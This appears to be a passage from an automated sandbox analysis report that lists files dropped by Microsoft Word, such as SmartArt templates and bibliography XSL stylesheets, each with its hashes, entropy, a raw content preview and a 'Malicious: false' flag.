Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
